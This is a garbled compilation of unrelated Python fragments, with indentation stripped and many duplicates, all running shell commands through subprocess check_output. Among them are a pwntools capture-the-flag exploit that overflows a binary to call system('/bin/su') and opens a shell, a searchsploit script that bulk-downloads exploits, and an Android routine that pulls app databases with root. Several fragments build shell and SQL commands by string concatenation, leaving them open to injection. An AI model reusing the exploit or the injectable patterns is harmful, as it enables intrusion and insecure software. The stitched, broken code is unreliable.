def downloadChapter(imageURLs):
for line in imageURLs:
try:
co("curl -O -J \"" + line + "\"", shell=True)
except Exception, e:
print str(e)
pass
def kill_mod_proc(cls):
if cls.plot:
cls.plot.closePlot()
cls.killprocs('sumo-gui')
cls.killprocs('hostapd')
sleep(0.1)
cls.sh('pkill babel')
cls.sh('pkill wmediumd')
sleep(0.1)
info("\n*** Removing WiFi module and Configurations\n")
try:
co("lsmod | grep mac80211_hwsim", shell=True)
os.system('rmmod mac80211_hwsim >/dev/null 2>&1')
except:
pass
try:
co("lsmod | grep ifb", shell=True)
os.system('rmmod ifb')
except:
pass
try:
os.system('pkill -f \'wpa_supplicant -B -Dnl80211\'')
except:
pass
if cls.socket_port:
info('\n*** Done\n')
cls.sh('fuser -k %s/tcp >/dev/null 2>&1' % cls.socket_port)
def install_nml2():
with working_dir(install_root):
print co(['git', 'clone', 'https://github.com/NeuroML/NeuroML2.git'])
with working_dir(default_nml2_dir):
print co(['git', 'checkout', 'development'])
inform('Successfully cloned NeuroML2', indent=2, verbosity=1)
def install_nml2():
with working_dir(install_root):
print(co(['git', 'clone', 'https://github.com/NeuroML/NeuroML2.git']))
with working_dir(default_nml2_dir):
print(co(['git', 'checkout', 'development']))
inform('Successfully cloned NeuroML2', indent=2, verbosity=1)
def install_jnml():
jnmlpath = os.path.join(os.environ['HOME'], 'jnml')
os.mkdir(jnmlpath)
with working_dir(jnmlpath):
print co([
'svn', 'checkout',
'svn://svn.code.sf.net/p/neuroml/code/jNeuroMLJar'
])
def cleanup_6lowpan(cls):
"""Clean up junk which might be left over from old runs;
do fast stuff before slow dp and link removal!"""
try:
info("*** Removing fakelb module and Configurations\n")
co("lsmod | grep fakelb", shell=True)
os.system('rmmod fakelb')
except:
pass
def cleanup_mac802154(cls):
"""Clean up junk which might be left over from old runs;
do fast stuff before slow dp and link removal!"""
try:
info("*** Removing mac802154_hwsim module and Configurations\n")
co("lsmod | grep mac802154_hwsim", shell=True)
os.system('rmmod mac802154_hwsim')
except:
pass
def cleanup_docker_containers(self):
command1 = "docker ps | wc -l"
output1 = co(command1, shell=True)
if int(output1) > 1:
command2 = "docker stop $(docker ps -a -q)"
run(command2, shell=True)
command3 = "docker ps -a | wc -l"
output2 = co(command3, shell=True)
if int(output2) > 1:
command4 = "docker rm -f $(docker ps -a -q)"
run(command4, shell=True)
def peptitle(accession,db='RPHs') :
try :
if type(accession) in [list,tuple,set] :
out=co(['blastdbcmd','-db',db,'-dbtype','prot','-entry',accession,'-outfmt',\
"%t"]).strip().split('\n') ;
else :
out=co(['blastdbcmd','-db',db,'-dbtype','prot','-entry',accession,'-outfmt',\
"%t"]).strip() ;
return out ;
except CalledProcessError :
return None ;
def peptitle(accession, db='RPHs'):
try:
if type(accession) in [list, tuple, set]:
out=co(['blastdbcmd','-db',db,'-dbtype','prot','-entry',accession,'-outfmt',\
"%t"]).strip().split('\n')
else:
out=co(['blastdbcmd','-db',db,'-dbtype','prot','-entry',accession,'-outfmt',\
"%t"]).strip()
return out
except CalledProcessError:
return None
def install_genesis(get_latest=False):
genpath = os.path.join(os.environ['HOME'], 'genesis')
os.mkdir(genpath)
with working_dir(genpath):
print co(['wget',
'https://github.com/borismarin/genesis2.4gamma/archive/master.zip'])
print co(['unzip', 'master.zip'])
print co(['ls', '-la', 'genesis2.4gamma-master'])
os.chdir('genesis2.4gamma-master/src')
print co(['./configure'])
print co(['make'])
open(os.path.join(os.environ['HOME'], '.simrc'), 'w').write(simrc)
def pepfetch(accession, db='RPHs'):
try:
if type(accession) in [list, tuple, set]:
out=co(['blastdbcmd','-db',db,'-dbtype','prot','-entry',tocsl(accession),'-outfmt',\
"%s"]).split()
else:
out=co(['blastdbcmd','-db',db,'-dbtype','prot','-entry',accession,'-outfmt',\
"%s"])
return out
except CalledProcessError:
return None
def install_jlems():
install_root = os.environ['HOME']
with working_dir(install_root):
print co(['git', 'clone', 'https://github.com/LEMS/jLEMS.git'])
inform('Successfully cloned jLEMS', indent=2, verbosity=1)
path = os.path.join(install_root, 'jLEMS')
with working_dir(path):
print co(['mvn', 'install'])
inform('Successfully installed jLEMS', indent=2, verbosity=1)
def install_jlems():
install_root = os.environ['HOME']
with working_dir(install_root):
print co(['git', 'clone', 'https://github.com/LEMS/jLEMS.git'])
inform('Successfully cloned jLEMS', indent=2, verbosity=1)
path = os.path.join(install_root,'jLEMS')
with working_dir(path):
print co(['mvn', 'install'])
inform('Successfully installed jLEMS', indent=2, verbosity=1)
def install_genesis(get_latest=False):
genpath = os.path.join(os.environ['HOME'], 'genesis')
os.mkdir(genpath)
with working_dir(genpath):
print co([
'wget',
'https://github.com/borismarin/genesis2.4gamma/archive/master.zip'
])
print co(['unzip', 'master.zip'])
print co(['ls', '-la', 'genesis2.4gamma-master'])
os.chdir('genesis2.4gamma-master/src')
print co(['./configure'])
print co(['make'])
open(os.path.join(os.environ['HOME'], '.simrc'), 'w').write(simrc)
def check_phone():
try:
s = co("ping -c 1 " + PHONE_IP + " | grep 'bytes from'", shell=True)
except subprocess.CalledProcessError as e:
return False
sleep(0.5)
return True
def process_info(info, site):
if info['layout'] == 'mep':
validate_mep(info)
# site developers should have git
an = co(["git", "log", "-1", "--format='%an'", info['fn']])
# decode to convert to unicode for both Python 2 and 2
an = an.decode('utf-8')
an = an.strip("'\n")
info['an'] = an
at = co(["git", "log", "-1", "--format='%at'", info['fn']])
# decode to convert to unicode for both Python 2 and 2
at = at.decode('utf-8')
at = at.strip("'\n")
if at:
at = datetime.date.fromtimestamp(int(at))
info['at'] = at
def append_old_to_new(gi2tax_map, newmap, concat_map, folder=FOLDER):
paths = co("find %s -name '*.fna'" % folder, shell=True)
if isinstance(paths, bytes):
paths = paths.decode()
paths = paths.split()
ofh = open(concat_map, "w")
ofw = ofh.write
print("Length of accepted things: %i" % len(gi2tax_map))
found, missing = set(), set()
for path in paths:
sys.stderr.write("Processing path %s" % path)
fl = xfirstline(path)
ptoks = fl.split("|")
name = ptoks[3]
key = int(ptoks[1])
try:
val = gi2tax_map[key]
ofw("%s\t%i\n" % (name, val))
found.add(path)
except KeyError:
missing.add(int(fl.split("|")[1]))
print("Missing: " + str(missing))
ofh.close()
cc("cat %s >> %s" % (newmap, concat_map), shell=True)
return concat_map, found
def calc_screen_light_mean_color():
co("scrot -t 3% /tmp/real_test.png", shell=True)
red = np.asarray(imread("/tmp/real_test-thumb.png"))
print(red, red.shape)
original_shape = red.shape # so we can reshape the labels later
W = red.shape[0]
H = red.shape[1]
red = red.flatten().reshape(W * H, 3)
print(red, red.shape)
samples = red
clf = sklearn.cluster.KMeans(n_clusters=3)
labels = clf.fit_predict(samples).flatten().reshape(W, H)
print(labels.shape)
print(labels)
# import matplotlib.pyplot as plt
# plt.imshow(labels)
# plt.show()
red = red.flatten().reshape(W, H, 3)
# plt.imshow(red)
# plt.show()
mean_color = [0] * 3
for i in range(3):
print("red:", red[labels == i])
mean_color[i] = np.mean(red[labels == i], axis=(0))
print("mean_color:", mean_color)
mean_avg_arr = [sum(x) / 3 for x in mean_color]
light_mean = mean_color[mean_avg_arr.index(max(mean_avg_arr))]
max_elems_arr = [len(red[labels == x]) for x in range(3)]
light_mean = mean_color[max_elems_arr.index(max(max_elems_arr))]
print("light_mean:", light_mean)
for i in range(W):
for j in range(H):
red[i, j] = mean_color[labels[i, j]]
# plt.imshow(red)
# plt.show()
return (int(x) for x in light_mean)
def send(x, y, color):
run = src % (x, y, color)
ans = co(run, shell=True)
try:
print "%s paint at (%3d,%3d) with %d" % ("Succ" if parse(ans)["flag"]
else "Fail", x, y, color)
except:
print "ERROR"
def install_neuron(version):
if not version:
version = '7.6'
nrnpath = os.path.join(os.environ['HOME'], 'neuron')
inform('Installing NEURON %s into %s' % (version, nrnpath), indent=1)
os.mkdir(nrnpath)
with working_dir(nrnpath):
print(
co([
'wget',
'https://www.neuron.yale.edu/ftp/neuron/versions/v%s/nrn-%s.tar.gz'
% (version, version)
]))
print(co(['tar', 'xzvf', 'nrn-%s.tar.gz' % version]))
print(co(['mv', 'nrn-%s' % version, 'nrn']))
os.chdir('nrn')
path = os.getcwd()
pyexec = sys.executable
co([
"./configure --prefix=%s --without-iv --with-nrnpython=%s" %
(path, pyexec)
],
shell=True)
print(co(['make', '-j4']))
print(co(['make', 'install']))
os.chdir('src/nrnpython')
run_setup('./setup.py', ['install'])
def cleanup_wifi(cls):
"""Clean up junk which might be left over from old runs;
do fast stuff before slow dp and link removal!"""
info("*** Removing WiFi module and Configurations\n")
try:
co("lsmod | grep mac80211_hwsim", shell=True)
os.system('rmmod mac80211_hwsim')
except:
pass
try:
co("lsmod | grep ifb", shell=True)
os.system('rmmod ifb')
except:
pass
killprocs('hostapd')
if glob.glob('*-mn-telemetry.txt'):
os.system('rm *-mn-telemetry.txt')
if glob.glob('*.apconf'):
os.system('rm *.apconf')
if glob.glob('*.staconf'):
os.system('rm *.staconf')
if glob.glob('*wifiDirect.conf'):
os.system('rm *wifiDirect.conf')
if glob.glob('*.nodeParams'):
os.system('rm *.nodeParams')
try:
os.system('pkill -f \'wpa_supplicant -B -Dnl80211\'')
except:
pass
try:
os.system('pkill -f \'babeld\'')
except:
pass
info("*** Killing wmediumd\n")
sh('pkill wmediumd')
sixlowpan.cleanup_6lowpan()
def peplen(accession, db='RPHs'):
try:
if accession is None:
return None
if type(accession) in [list, tuple, set]:
out = list()
for acc in accession:
out.append(int(co(['blastdbcmd','-db',db,'-dbtype','prot','-entry',tocsl(accession),'-outfmt',\
"%l"]).strip()))
else:
out=int(co(['blastdbcmd','-db',db,'-dbtype','prot','-entry',accession,'-outfmt',\
"%l"]).strip())
return out
except CalledProcessError:
return None
def peplen(accession,db='RPHs') :
try :
if accession is None :
return None ;
if type(accession) in [list,tuple,set] :
out=list() ;
for acc in accession :
out.append(int(co(['blastdbcmd','-db',db,'-dbtype','prot','-entry',tocsl(accession),'-outfmt',\
"%l"]).strip())) ;
else:
out=int(co(['blastdbcmd','-db',db,'-dbtype','prot','-entry',accession,'-outfmt',\
"%l"]).strip()) ;
return out ;
except CalledProcessError :
return None ;
def getChapterImages(url):
imageURLsReturn = []
try:
response = co("curl \"" + url + "\"", shell=True)
responseDataSplit = response.split('\n')
for line in responseDataSplit:
imageURL = re.findall("\s+lstImages.push\(\"(.+)\"\);", line)
if(len(imageURL) > 0):
imageURLsReturn.append(imageURL[0])
except Exception, e:
print str(e)
pass
def cleanup_wifi(cls):
"""Clean up junk which might be left over from old runs;
do fast stuff before slow dp and link removal!"""
info("*** Removing WiFi module and Configurations\n")
try:
co("lsmod | grep mac80211_hwsim", shell=True)
os.system('rmmod mac80211_hwsim')
except:
pass
try:
co("lsmod | grep ifb", shell=True)
os.system('rmmod ifb')
except:
pass
killprocs('hostapd')
if glob.glob("*.apconf"):
os.system('rm *.apconf')
if glob.glob("*.staconf"):
os.system('rm *.staconf')
if glob.glob("*wifiDirect.conf"):
os.system('rm *wifiDirect.conf')
if glob.glob("*.nodeParams"):
os.system('rm *.nodeParams')
try:
os.system('pkill -f \'wpa_supplicant -B -Dnl80211\'')
except:
pass
info("*** Killing wmediumd\n")
sh('pkill wmediumd')
sixlowpan.cleanup_6lowpan()
def pepfasta(accession,db='RPHs',asTuple=False) :
# this one is NOT ok with lists
try:
if asTuple :
out=list(co(['blastdbcmd','-db',db,'-dbtype','prot','-entry',accession,'-outfmt',\
"%f"]).strip().split('\n')) ;
defline=out[0] ;
seq=""
for line in out[1:len(out)] :
seq += line.strip() ;
return (defline,seq) ;
else :
out=co(['blastdbcmd','-db',db,'-dbtype','prot','-entry',accession,'-outfmt',\
"%f"]) ;
return out ;
except CalledProcessError :
return None ;
def pepfasta(accession, db='RPHs', asTuple=False):
# this one is NOT ok with lists
try:
if asTuple:
out=list(co(['blastdbcmd','-db',db,'-dbtype','prot','-entry',accession,'-outfmt',\
"%f"]).strip().split('\n'))
defline = out[0]
seq = ""
for line in out[1:len(out)]:
seq += line.strip()
return (defline, seq)
else:
out=co(['blastdbcmd','-db',db,'-dbtype','prot','-entry',accession,'-outfmt',\
"%f"])
return out
except CalledProcessError:
return None
def killprocs(pattern):
"Reliably terminate processes matching a pattern (including args)"
sh('pkill -9 -f %s' % pattern)
# Make sure they are gone
while True:
try:
pids = co(['pgrep', '-f', pattern])
except CalledProcessError:
pids = ''
if pids:
sh('pkill -9 -f %s' % pattern)
time.sleep(.5)
else:
break
def killprocs( pattern ):
"Reliably terminate processes matching a pattern (including args)"
sh( 'pkill -9 -f %s' % pattern )
# Make sure they are gone
while True:
try:
pids = co( [ 'pgrep', '-f', pattern ] )
except CalledProcessError:
pids = ''
if pids:
sh( 'pkill -9 -f %s' % pattern )
time.sleep( .5 )
else:
break
def killprocs( pattern ):
"Reliably terminate processes matching a pattern (including args)"
sh( 'pkill -9 -f %s' % pattern )
# Make sure they are gone
while True:
try:
pids = co( 'pgrep -f %s' % pattern )
except:
pids = ''
if pids:
sh( 'pkill -f 9 mininet:' )
sleep( .5 )
else:
break
def killprocs(pattern):
"Reliably terminate processes matching a pattern (including args)"
sh('pkill -9 -f %s' % pattern)
# Make sure they are gone
while True:
try:
pids = co('pgrep -f %s' % pattern)
except:
pids = ''
if pids:
sh('pkill -f 9 mininet:')
time.sleep(.5)
else:
break
def killprocs(pattern):
"Reliably terminate processes matching a pattern (including args)"
sh("pkill -9 -f %s" % pattern)
# Make sure they are gone
while True:
try:
pids = co(["pgrep", "-f", pattern])
except CalledProcessError:
pids = ""
if pids:
sh("pkill -9 -f %s" % pattern)
time.sleep(0.5)
else:
break
def install_neuron(get_latest=False):
nrnpath = os.path.join(os.environ['HOME'],'neuron')
inform('Installing NEURON into %s'%nrnpath, indent=1)
os.mkdir(nrnpath)
with working_dir(nrnpath):
if get_latest:
print(co(['git', 'clone', 'https://github.com/neuronsimulator/nrn']))
os.chdir('nrn')
print(co(['./build.sh']))
else:
print(co(['wget', 'https://www.neuron.yale.edu/ftp/neuron/versions/v7.4/nrn-7.4.tar.gz']))
print(co(['tar', 'xzvf', 'nrn-7.4.tar.gz']))
print(co(['mv', 'nrn-7.4', 'nrn']))
os.chdir('nrn')
path = os.getcwd()
pyexec = 'python2' #sys.executable
co(["./configure --prefix=%s --without-iv --without-paranrn --with-nrnpython=%s"%(path,pyexec)], shell=True)
print(co(['make']))
print(co(['make', 'install']))
os.chdir('src/nrnpython')
run_setup('./setup.py', ['install'])
def check(pname):
time_x = []
mem_used = []
start = time.time()
mem_info = os.popen('free -h').read().split()
mem_all = mem_info[7][:-1]
result = os.popen('ps ax | grep ' + pname + ' | grep -v grep | grep -v python').read().split()
while True:
time_x.append(time.time() - start)
mem_used.append(get_mem_used())
result = os.popen('ps ax | grep ' + pname + ' | grep -v grep | grep -v python').read().split()
if not len(result):
break
time.sleep(1)
os.system('kill ' + co('ps -ax | grep "/usr/bin/collectl" | grep -v grep | grep -v python', shell =
True).decode().lstrip().split(' ')[0])
with open("mem" + os.getenv("HOSTNAME")[-1] + ".log", "w") as f:
for i in range(len(mem_used)):
f.write(str(mem_all) + ", " + str(time_x[i]) + ", " + str(mem_used[i]) + "\n")
def getpid(name=TEST_PNAME):
try:
o = co(['ps', '-fC', name]).decode()
ol = o.split('\n')
del ol[0]
for item in ol:
il = item.split(' ')
il_ = []
for prop in il:
if prop != '':
il_.append(prop)
if il_ != []:
user, pid, ppid, c, stime, tty, time = il_[:7]
cmd = ' '.join(il_[7:])
return int(pid), ''
except CalledProcessError as e:
return None, f'{name!r} nicht gefunden'
def getMangaInfo(url):
chapterURLs = []
chapterURLsReturn = []
mangaTitle = "gg"
try:
response = co("curl \"" + url + "\"", shell=True)
responseDataSplit = response.split('\n')
for line in responseDataSplit:
mangaTitles = re.findall("<a Class=\"bigChar\" href=\"(.+)\">(.+)</a>", line)
if(len(mangaTitles) > 0):\
mangaTitle = mangaTitles[0][1]
chapterURL = re.findall("<a href=\"(.+)\" title=\"Read (.+) online\">", line)
if(len(chapterURL) > 0):
chapterURLsReturn.append({"url":"http://kissmanga.com" + str(chapterURL[0][0]), "name":str(chapterURL[0][1])})
except Exception, e:
print str(e)
pass
def main():
args = getopts()
gi2tax = get_gi2tax(args.folder)
if args.no_download is False:
fetch_genomes(args.folder)
print("Getting acceptable taxids")
taxmap = build_full_taxmap(args.taxonomy)
acceptable_taxids = get_acceptable_taxids(taxmap)
print("Appending old to new")
concat, found = append_old_to_new(parse_gi2tax(gi2tax, acceptable_taxids),
args.new_refseq_nameid_map,
args.combined_nameid_map, args.folder)
cc("sort {0} | uniq > tmp.zomg && mv tmp.zomg {0}".format(concat),
shell=True)
nl = int(co("wc -l %s" % concat, shell=True).decode().split()[0])
sys.stderr.write("Concatenated file of total lines "
"%i is written to %s.\n" % (nl, concat))
with open(args.found if args.found else "found_paths.txt", "w") as f:
for path in found:
f.write(path + "\n")
return 0
def check(pname):
time_x = []
mem_used = []
start = time.time()
mem_info = os.popen('free -h').read().split()
mem_all = mem_info[7][:-1]
result = os.popen('ps ax | grep ' + pname + ' | grep -v grep | grep -v python').read().split()
while True:
time_x.append(time.time() - start)
mem_used.append(get_mem_used())
result = os.popen('ps ax | grep ' + pname + ' | grep -v grep | grep -v python').read().split()
if not len(result):
break
time.sleep(1)
os.system('kill ' + co('ps -ax | grep "/usr/bin/collectl" | grep -v grep | grep -v python', shell =
True).decode().lstrip().split(' ')[0])
with open("mem" + os.getenv("HOSTNAME")[-1] + ".log", "w") as f:
for i in range(len(mem_used)):
f.write(str(mem_all) + ", " + str(time_x[i]) + ", " + str(mem_used[i]) + "\n")
if __name__ == '__main__':
res = ''
Process(target = check, args = ('benchmark_parconnect',)).start()
try:
res = co('collectl -sx', shell=True).decode()
except Exception:
pass
print(res)
with open("infiniband" + os.getenv("HOSTNAME")[-1] + ".log", "w") as f:
f.write(res)
#!/usr/bin/python
from subprocess import check_output as co
from sys import exit
# Actually run bin/mn rather than importing via python path
version = 'Mininet ' + co( 'PYTHONPATH=. bin/mn --version', shell=True )
version = version.strip()
# Find all Mininet path references
lines = co( "grep -or 'Mininet \w\+\.\w\+\.\w\+[+]*' *", shell=True )
error = False
for line in lines.split( '\n' ):
if line and 'Binary' not in line:
fname, fversion = line.split( ':' )
if version != fversion:
print "%s: incorrect version '%s' (should be '%s')" % (
fname, fversion, version )
error = True
if error:
exit( 1 )
def filter_call(cstr, fp):
instr = co(cstr, shell=True, stderr=fp, executable="/bin/bash").decode()
return [line for line in instr.split('\n') if "error" in line.lower()]
group.add_argument('--public', action='store_const', const=True)
group.add_argument('--private', action='store_const', const=False)
parser.add_argument('user_id', help='user id of new owner', type=int)
args = parser.parse_args()
if args.folder_id is not None and args.folder_id == 0:
print 'not valid for root'
sys.exit(1)
if args.folder_name is not None and args.folder_name == 'root':
print 'not valid for root'
sys.exit(1)
sql = "copy (select * from users where id='%s') to stdout csv" % args.user_id
cmd = ['sudo', '-u', 'postgres', 'psql', '-d', 'hoot', '-c', sql]
stdout = co(cmd, stderr=devnull)
if len(stdout) == 0:
print 'user %s not found' % args.user_id
sys.exit(1)
if args.folder_name is not None:
sql = "copy (select count(1) from folders where display_name = '%s') to stdout csv" % args.folder_name
cmd = ['sudo', '-u', 'postgres', 'psql', '-d', 'hoot', '-c', sql]
stdout = co(cmd, stderr=devnull)
rows = stdout.split('\n')
row = rows[0]
count = int(row)
if count > 1:
print 'folder name collides, cannot continue w/ display_name'
sys.exit(1)
raw_url = github_repo.link_to_raw_file_in_repo(".travis.yml")
print(" .travis.yml found at %s\n" % raw_url)
contents = osb.utils.get_page(raw_url)
if 'omv' not in contents:
print("That .travis.yml does not look like it uses OMV...")
non_omv_tests += 1
else:
testable_projects += 1
test_it = True
else:
print(" (No .travis.yml)")
if test_it:
target_dir = '%s/%s' % (test_dir, proj_id)
print co(['git', 'clone', str(github_repo.clone_url), target_dir])
with working_dir(target_dir):
if proj_id in branches.keys():
print co(['git', 'checkout', branches[proj_id]])
print "Running 'omv all' on", target_dir
test_all()
passing_projects += 1
print("\nSo far: %i projects with OMV tests which pass\n" %
(passing_projects))
end = datetime.datetime.now()
print(
"\n%i projects checked, of which %i have OMV tests (%i non-OMV tested projects) and %i passed with OMV in %s seconds\n"
from pwn import *
from subprocess import check_output as co
p = process("./kudanil_lsi")
p.sendline("")
e = ELF('./kudanil_lsi')
binsu = next(e.search('/bin/su'))
system_plt = e.plt['system']
s = p.recvuntil("su")
s = s.split("\n")[-11:]
s = "\n".join(s)
print s
f = open('map', 'w')
f.write(s)
f.close()
solution = co('cat map | ./map.solution', shell=True)
for c in range(0, len(solution)):
p.sendline(solution[c])
payload = "A" * 23 + p32(system_plt) + 'BBBB' + p32(binsu)
p.sendline(payload)
p.interactive()
def bestPep(seq,db='RPHs') :
return co('echo "' + seq + '" | blastp -db ' + db + ' -evalue 0.01 -outfmt "6 sacc" -query /dev/stdin | head -n1',shell=True).decode('utf-8').strip() ;
def run(*args, **kwargs):
"Run co and decode for python3"
result = co(*args, **kwargs)
return result.decode() if version_info[ 0 ] >= 3 else result
def call(cmd):
args = {
'shell': True,
'executable': '/bin/bash'
} if isinstance(cmd, str) else {}
return co(cmd, **args).decode()
#!/usr/bin/env python3
# coding: utf-8
# In[ ]:
from subprocess import check_output as co
import re, requests
headers = {
'User-Agent':
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'
}
# In[ ]:
keyword = input('term to search for in exploit-db: ')
# In[ ]:
exploits = str(co(['searchsploit', keyword, '-w', '-t']), 'utf-8')
raw = re.sub('exploits', 'raw', exploits)
url_list = re.findall(r'https://www.*', raw)
for x in url_list:
with open('{}'.format(x.split('/')[-2]), 'w') as f:
f.write(requests.get(x, headers=headers).text)
# In[ ]:
#!/usr/bin/python
from subprocess import check_output as co
from sys import exit
# Actually run bin/mn rather than importing via python path
version = 'Mininet ' + co( 'PYTHONPATH=. bin/mn --version 2>&1', shell=True )
version = version.strip()
# Find all Mininet path references
lines = co( "egrep -or 'Mininet [0-9\.\+]+\w*' *", shell=True )
error = False
for line in lines.split( '\n' ):
if line and 'Binary' not in line:
fname, fversion = line.split( ':' )
if version != fversion:
print( "%s: incorrect version '%s' (should be '%s')" % (
fname, fversion, version ) )
error = True
if error:
exit( 1 )
def install_jnml():
jnmlpath = os.path.join(os.environ['HOME'],'jnml')
os.mkdir(jnmlpath)
with working_dir(jnmlpath):
print(co(['svn', 'checkout', 'https://svn.code.sf.net/p/neuroml/code/jNeuroMLJar']))
def download_database(DB_PATH):
DB_NAME = DB_PATH.split("/")[-1]
if co([ADB, "shell", SUC, "ls", DB_PATH]).decode("UTF-8").replace("\r", "").replace("\n", "") == DB_PATH:
if "su" in PERM:
co([ADB, "shell", SUC, "dd", "if=" + DB_PATH, "of=/data/local/tmp/" + DB_NAME])
co([ADB, "shell", SUC, "chmod", "777", "/data/local/tmp/" + DB_NAME])
co([ADB, "pull", "/data/local/tmp/" + DB_NAME, OUTPUT + SEP + "db" + SEP + DB_NAME])
co([ADB, "shell", SUC, "rm", "/data/local/tmp/" + DB_NAME])
else:
co([ADB, "pull", DB_PATH, OUTPUT + SEP + "db" + SEP + DB_NAME])
if os.path.isfile(OUTPUT + SEP + "db" + SEP + DB_NAME) == True:
fileh = open(OUTPUT + SEP + "db" + SEP + "md5sums", "a")
DB_MD5 = hashlib.md5(open(OUTPUT + SEP + "db" + SEP + DB_NAME, "rb").read()).hexdigest()
DLLS.append(DB_NAME) # ; DLLS.append(DB_MD5)
fileh.write(DB_MD5 + "\t" + DB_NAME + "\n")
fileh.close()
os.chmod(ADB, "0755")
else:
sys.exit(download_adb)
elif OS_CHECK == "win32":
ADB = "adb.exe"
SEP = "\\"
if os.path.isfile(ADB) == False:
sys.exit(download_adb)
elif OS_CHECK == "darwin":
ADB = "./adb_mac"
SEP = "/"
if os.path.isfile(ADB) == False:
sys.exit(download_adb)
try:
ADB
co([ADB, "start-server"])
except NameError:
sys.exit(" Cannot determine OS!")
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Unrooted (shell) devices, to print device information, limited extractions
#
print("\033[94m>>>>>>>>>> General Device Information.\033[0m")
# Check for connected Android device
if "unknown" in co([ADB, "get-state"]).decode("UTF-8"):
sys.exit("\033[91m No Android device found!\033[0m")
else:
ADB_SER = co([ADB, "get-serialno"]).decode("UTF-8").replace("\n", "").replace("\r", "")
print(" ADB serial: " + ADB_SER)
REPORT.append(["ADB serial", ADB_SER])
raw_url = github_repo.link_to_raw_file_in_repo(".travis.yml")
print(" .travis.yml found at %s\n" % raw_url)
contents = osb.utils.get_page(raw_url)
if 'omv' not in contents:
print("That .travis.yml does not look like it uses OMV...")
non_omv_tests += 1
else:
testable_projects += 1
test_it = True
else:
print(" (No .travis.yml)")
if test_it:
target_dir = '%s/%s' % (test_dir, proj_id)
print(co(['git', 'clone', str(github_repo.clone_url), target_dir]))
with working_dir(target_dir):
for key in branches.keys():
if proj_id.lower() == key:
print(co(['git', 'checkout', branches[key]]))
print("Running 'omv all' on"+ target_dir)
test_all()
passing_projects += 1
print("\nSo far: %i projects with OMV tests which pass\n" % (passing_projects))
end = datetime.datetime.now()
print("\n%i projects checked, of which %i have OMV tests (%i non-OMV tested projects) and %i passed with OMV in %s seconds\n" %
(projects, testable_projects, non_omv_tests, passing_projects, (end - start).seconds))
def get_clipboard():
return co([CB]).decode()
def maintainer(current_file):
"""Write the maintainer name found in makepkf.conf in file's start"""
current_file.seek(0, 0)
maint = co('grep PACKAGER /etc/makepkg.conf', shell=True).split('"')[1]
current_file.write("# Contributor: "+maint+"\n\n")
raw_url = github_repo.link_to_raw_file_in_repo(".travis.yml")
print(" .travis.yml found at %s\n" % raw_url)
contents = osb.utils.get_page(raw_url)
if 'omv' not in contents:
print("That .travis.yml does not look like it uses OMV...")
non_omv_tests += 1
else:
testable_projects += 1
test_it = True
else:
print(" (No .travis.yml)")
if test_it:
target_dir = '%s/%s' % (test_dir, proj_id)
print co(['git', 'clone', str(github_repo.clone_url), target_dir])
with working_dir(target_dir):
if proj_id in branches.keys():
print co(['git', 'checkout', branches[proj_id]])
print "Running 'omv all' on", target_dir
test_all()
passing_projects += 1
print("\nSo far: %i projects with OMV tests which pass\n" % (passing_projects))
end = datetime.datetime.now()
print("\n%i projects checked, of which %i have OMV tests (%i non-OMV tested projects) and %i passed with OMV in %s seconds\n" %
(projects, testable_projects, non_omv_tests, passing_projects, (end - start).seconds))
def install_neuron(get_latest=False):
nrnpath = os.path.join(os.environ['HOME'],'neuron')
os.mkdir(nrnpath)
with working_dir(nrnpath):
if get_latest:
print co(['hg', 'clone', 'http://www.neuron.yale.edu/hg/neuron/nrn'])
os.chdir('nrn')
print co(['./build.sh'])
else:
print co(['wget', 'http://www.neuron.yale.edu/ftp/neuron/versions/v7.3/nrn-7.3.tar.gz'])
print co(['tar', 'xzvf', 'nrn-7.3.tar.gz'])
print co(['mv', 'nrn-7.3', 'nrn'])
os.chdir('nrn')
path = os.getcwd()
pyexec = sys.executable
co(["./configure --prefix=%s --without-iv --with-nrnpython=%s"%(path,pyexec)], shell=True)
print co(['make'])
print co(['make', 'install'])
os.chdir('src/nrnpython')
run_setup('./setup.py', ['install'])
def cleanup():
"""Clean up junk which might be left over from old runs;
do fast stuff before slow dp and link removal!"""
info("*** Removing excess controllers/ofprotocols/ofdatapaths/pings/noxes"
"\n")
zombies = 'controller ofprotocol ofdatapath ping nox_core lt-nox_core '
zombies += 'ovs-openflowd ovs-controller udpbwtest mnexec ivs'
# Note: real zombie processes can't actually be killed, since they
# are already (un)dead. Then again,
# you can't connect to them either, so they're mostly harmless.
# Send SIGTERM first to give processes a chance to shutdown cleanly.
sh( 'killall ' + zombies + ' 2> /dev/null' )
time.sleep(1)
sh( 'killall -9 ' + zombies + ' 2> /dev/null' )
# And kill off sudo mnexec
sh( 'pkill -9 -f "sudo mnexec"')
info( "*** Removing junk from /tmp\n" )
sh( 'rm -f /tmp/vconn* /tmp/vlogs* /tmp/*.out /tmp/*.log' )
info( "*** Removing old X11 tunnels\n" )
cleanUpScreens()
info( "*** Removing excess kernel datapaths\n" )
dps = sh( "ps ax | egrep -o 'dp[0-9]+' | sed 's/dp/nl:/'" ).splitlines()
for dp in dps:
if dp:
sh( 'dpctl deldp ' + dp )
info( "*** Removing OVS datapaths" )
dps = sh("ovs-vsctl --timeout=1 list-br").strip().splitlines()
if dps:
sh( "ovs-vsctl " + " -- ".join( "--if-exists del-br " + dp
for dp in dps if dp ) )
# And in case the above didn't work...
dps = sh("ovs-vsctl --timeout=1 list-br").strip().splitlines()
for dp in dps:
sh( 'ovs-vsctl del-br ' + dp )
info( "*** Removing all links of the pattern foo-ethX\n" )
links = sh( "ip link show | "
"egrep -o '([-_.[:alnum:]]+-eth[[:digit:]]+)'" ).splitlines()
for link in links:
if link:
sh( "ip link del " + link )
info( "*** Killing stale mininet node processes\n" )
sh( 'pkill -9 -f mininet:' )
# Make sure they are gone
while True:
try:
pids = co( 'pgrep -f mininet:'.split() )
except:
pids = ''
if pids:
sh( 'pkill -f 9 mininet:' )
sleep( .5 )
else:
break
info( "*** Cleanup complete.\n" )
#!/usr/bin/python
from subprocess import check_output as co
from sys import exit
# Actually run bin/mn rather than importing via python path
version = "Mininet " + co("PYTHONPATH=. bin/mn --version", shell=True)
version = version.strip()
# Find all Mininet path references
lines = co("egrep -or 'Mininet [0-9\.\+]+\w*' *", shell=True)
error = False
for line in lines.split("\n"):
if line and "Binary" not in line:
fname, fversion = line.split(":")
if version != fversion:
print("%s: incorrect version '%s' (should be '%s')" % (fname, fversion, version))
error = True
if error:
exit(1)